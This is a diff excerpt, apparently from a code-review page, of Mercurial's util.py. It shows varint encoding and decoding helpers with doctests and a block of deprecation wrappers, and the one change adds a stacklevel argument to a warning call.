3688 3688 fn = '%s~%s' % (f, tag)
3689 3689 if fn not in ctx and fn not in others:
3690 3690 return fn
3691 3691 for n in itertools.count(1):
3692 3692 fn = '%s~%s~%s' % (f, tag, n)
3693 3693 if fn not in ctx and fn not in others:
3694 3694 return fn
3695 3695
3696 3696 def readexactly(stream, n):
3697 3697 '''read n bytes from stream.read and abort if less was available'''
3698 3698 s = stream.read(n)
3699 3699 if len(s) < n:
3700 3700 raise error.Abort(_("stream ended unexpectedly"
3701 3701 " (got %d bytes, expected %d)")
3702 3702 % (len(s), n))
3703 3703 return s
3704 3704
3705 3705 def uvarintencode(value):
3706 3706 """Encode an unsigned integer value to a varint.
3707 3707
3708 3708 A varint is a variable length integer of 1 or more bytes. Each byte
3709 3709 except the last has the most significant bit set. The lower 7 bits of
3710 3710 each byte store the 2's complement representation, least significant group
3711 3711 first.
3712 3712
3713 3713 >>> uvarintencode(0)
3714 3714 '\\x00'
3715 3715 >>> uvarintencode(1)
3716 3716 '\\x01'
3717 3717 >>> uvarintencode(127)
3718 3718 '\\x7f'
3719 3719 >>> uvarintencode(1337)
3720 3720 '\\xb9\\n'
3721 3721 >>> uvarintencode(65536)
3722 3722 '\\x80\\x80\\x04'
3723 3723 >>> uvarintencode(-1)
3724 3724 Traceback (most recent call last):
3725 3725 ...
3726 3726 ProgrammingError: negative value for uvarint: -1
3727 3727 """
3728 3728 if value < 0:
3729 3729 raise error.ProgrammingError('negative value for uvarint: %d'
3730 3730 % value)
3731 3731 bits = value & 0x7f
3732 3732 value >>= 7
3733 3733 bytes = []
3734 3734 while value:
3735 3735 bytes.append(pycompat.bytechr(0x80 | bits))
3736 3736 bits = value & 0x7f
3737 3737 value >>= 7
3738 3738 bytes.append(pycompat.bytechr(bits))
3739 3739
3740 3740 return ''.join(bytes)
3741 3741
3742 3742 def uvarintdecodestream(fh):
3743 3743 """Decode an unsigned variable length integer from a stream.
3744 3744
3745 3745 The passed argument is anything that has a ``.read(N)`` method.
3746 3746
3747 3747 >>> try:
3748 3748 ... from StringIO import StringIO as BytesIO
3749 3749 ... except ImportError:
3750 3750 ... from io import BytesIO
3751 3751 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3752 3752 0
3753 3753 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3754 3754 1
3755 3755 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3756 3756 127
3757 3757 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3758 3758 1337
3759 3759 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3760 3760 65536
3761 3761 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3762 3762 Traceback (most recent call last):
3763 3763 ...
3764 3764 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3765 3765 """
3766 3766 result = 0
3767 3767 shift = 0
3768 3768 while True:
3769 3769 byte = ord(readexactly(fh, 1))
3770 3770 result |= ((byte & 0x7f) << shift)
3771 3771 if not (byte & 0x80):
3772 3772 return result
3773 3773 shift += 7
3774 3774
3775 3775 ###
3776 3776 # Deprecation warnings for util.py splitting
3777 3777 ###
3778 3778
3779 3779 def _deprecatedfunc(func, version, modname=None):
3780 3780 def wrapped(*args, **kwargs):
3781 3781 fn = pycompat.sysbytes(func.__name__)
3782 3782 mn = modname or pycompat.sysbytes(func.__module__)[len('mercurial.'):]
3783 3783 msg = "'util.%s' is deprecated, use '%s.%s'" % (fn, mn, fn)
3784 nouideprecwarn(msg, version)
3784 nouideprecwarn(msg, version, stacklevel=2)
3785 3785 return func(*args, **kwargs)
3786 3786 wrapped.__name__ = func.__name__
3787 3787 return wrapped
3788 3788
3789 3789 defaultdateformats = dateutil.defaultdateformats
3790 3790 extendeddateformats = dateutil.extendeddateformats
3791 3791 makedate = _deprecatedfunc(dateutil.makedate, '4.6')
3792 3792 datestr = _deprecatedfunc(dateutil.datestr, '4.6')
3793 3793 shortdate = _deprecatedfunc(dateutil.shortdate, '4.6')
3794 3794 parsetimezone = _deprecatedfunc(dateutil.parsetimezone, '4.6')
3795 3795 strdate = _deprecatedfunc(dateutil.strdate, '4.6')
3796 3796 parsedate = _deprecatedfunc(dateutil.parsedate, '4.6')
3797 3797 matchdate = _deprecatedfunc(dateutil.matchdate, '4.6')
3798 3798
3799 3799 stderr = procutil.stderr
3800 3800 stdin = procutil.stdin
3801 3801 stdout = procutil.stdout
3802 3802 explainexit = _deprecatedfunc(procutil.explainexit, '4.6',
3803 3803 modname='utils.procutil')
3804 3804 findexe = _deprecatedfunc(procutil.findexe, '4.6', modname='utils.procutil')
3805 3805 getuser = _deprecatedfunc(procutil.getuser, '4.6', modname='utils.procutil')
3806 3806 getpid = _deprecatedfunc(procutil.getpid, '4.6', modname='utils.procutil')
3807 3807 hidewindow = _deprecatedfunc(procutil.hidewindow, '4.6',
3808 3808 modname='utils.procutil')
3809 3809 popen = _deprecatedfunc(procutil.popen, '4.6', modname='utils.procutil')
3810 3810 quotecommand = _deprecatedfunc(procutil.quotecommand, '4.6',
3811 3811 modname='utils.procutil')
3812 3812 readpipe = _deprecatedfunc(procutil.readpipe, '4.6', modname='utils.procutil')
3813 3813 setbinary = _deprecatedfunc(procutil.setbinary, '4.6', modname='utils.procutil')
3814 3814 setsignalhandler = _deprecatedfunc(procutil.setsignalhandler, '4.6',
3815 3815 modname='utils.procutil')
3816 3816 shellquote = _deprecatedfunc(procutil.shellquote, '4.6',
3817 3817 modname='utils.procutil')
3818 3818 shellsplit = _deprecatedfunc(procutil.shellsplit, '4.6',
3819 3819 modname='utils.procutil')
3820 3820 spawndetached = _deprecatedfunc(procutil.spawndetached, '4.6',
3821 3821 modname='utils.procutil')
3822 3822 sshargs = _deprecatedfunc(procutil.sshargs, '4.6', modname='utils.procutil')
3823 3823 testpid = _deprecatedfunc(procutil.testpid, '4.6', modname='utils.procutil')
3824 3824 try:
3825 3825 setprocname = _deprecatedfunc(procutil.setprocname, '4.6',
3826 3826 modname='utils.procutil')
3827 3827 except AttributeError:
3828 3828 pass
3829 3829 try:
3830 3830 unblocksignal = _deprecatedfunc(procutil.unblocksignal, '4.6',
3831 3831 modname='utils.procutil')
3832 3832 except AttributeError:
3833 3833 pass
3834 3834 closefds = procutil.closefds
3835 3835 isatty = _deprecatedfunc(procutil.isatty, '4.6')
3836 3836 popen2 = _deprecatedfunc(procutil.popen2, '4.6')
3837 3837 popen3 = _deprecatedfunc(procutil.popen3, '4.6')
3838 3838 popen4 = _deprecatedfunc(procutil.popen4, '4.6')
3839 3839 pipefilter = _deprecatedfunc(procutil.pipefilter, '4.6')
3840 3840 tempfilter = _deprecatedfunc(procutil.tempfilter, '4.6')
3841 3841 filter = _deprecatedfunc(procutil.filter, '4.6')
3842 3842 mainfrozen = _deprecatedfunc(procutil.mainfrozen, '4.6')
3843 3843 hgexecutable = _deprecatedfunc(procutil.hgexecutable, '4.6')
3844 3844 isstdin = _deprecatedfunc(procutil.isstdin, '4.6')
3845 3845 isstdout = _deprecatedfunc(procutil.isstdout, '4.6')
3846 3846 shellenviron = _deprecatedfunc(procutil.shellenviron, '4.6')
3847 3847 system = _deprecatedfunc(procutil.system, '4.6')
3848 3848 gui = _deprecatedfunc(procutil.gui, '4.6')
3849 3849 hgcmd = _deprecatedfunc(procutil.hgcmd, '4.6')
3850 3850 rundetached = _deprecatedfunc(procutil.rundetached, '4.6')
3851 3851
3852 3852 binary = _deprecatedfunc(stringutil.binary, '4.6')
3853 3853 stringmatcher = _deprecatedfunc(stringutil.stringmatcher, '4.6')
3854 3854 shortuser = _deprecatedfunc(stringutil.shortuser, '4.6')
3855 3855 emailuser = _deprecatedfunc(stringutil.emailuser, '4.6')
3856 3856 email = _deprecatedfunc(stringutil.email, '4.6')
3857 3857 ellipsis = _deprecatedfunc(stringutil.ellipsis, '4.6')
3858 3858 escapestr = _deprecatedfunc(stringutil.escapestr, '4.6')
3859 3859 unescapestr = _deprecatedfunc(stringutil.unescapestr, '4.6')
3860 3860 forcebytestr = _deprecatedfunc(stringutil.forcebytestr, '4.6')
3861 3861 uirepr = _deprecatedfunc(stringutil.uirepr, '4.6')
3862 3862 wrap = _deprecatedfunc(stringutil.wrap, '4.6')
3863 3863 parsebool = _deprecatedfunc(stringutil.parsebool, '4.6')
General Comments 0
You need to be logged in to leave comments. Login now